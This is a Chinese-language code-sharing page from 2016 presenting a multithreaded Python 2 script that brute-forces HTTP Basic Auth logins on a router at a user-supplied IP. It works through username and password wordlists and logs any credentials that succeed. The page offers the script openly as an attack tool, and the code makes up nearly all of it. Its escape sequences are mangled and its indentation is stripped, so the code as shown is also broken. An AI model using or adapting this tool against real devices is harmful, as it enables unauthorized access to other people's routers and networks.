python实现多线程暴力破解登陆路由器功能代码分享
python实现多线程暴力破解登陆路由器功能代码分享
发布时间:2016-12-28 来源:查字典编辑
摘要:运行时请在其目录下添加user.txtpasswd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....复制代码代码如下:#c...

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

复制代码 代码如下:

#coding:utf-8-

import base64

import urllib2

import Queue

import threading,re,sys

queue = Queue.Queue()

class Rout_thread(threading.Thread):

def __init__(self,queue,passwd):

threading.Thread.__init__(self)

self.queue=queue

self.passwordlist=passwd

def run(self):

self.user=queue.get()

for self.passwd in self.passwordlist:

request = urllib2.Request("http://"+target)

psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)

request.add_header('Authorization', psw_base64)

try:

response = urllib2.urlopen(request)

print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)

fp3 = open('log.txt','a')

fp3.write(self.user+'||'+self.passwd+'rn')

fp3.close()

except urllib2.HTTPError:

print "[-]password:%s Error!" % (self.passwd)

if __name__ == '__main__':

print '''

#######################################################

# #

# Routing brute force tool #

# #

# by:well #

# #

#######################################################

'''

passwordlist = []

line = 20

threads = []

global target

target = raw_input("input ip:")

fp =open("user.txt")

fp2=open("passwd.txt")

for user in fp.readlines():

queue.put(user.split('n')[0])

for passwd in fp2.readlines():

passwordlist.append(passwd.split('n')[0])

#print passwordlist

fp.close()

fp2.close()

for i in range(line):

a = Rout_thread(queue,passwordlist)

a.start()

threads.append(a)

for j in threads:

j.join()

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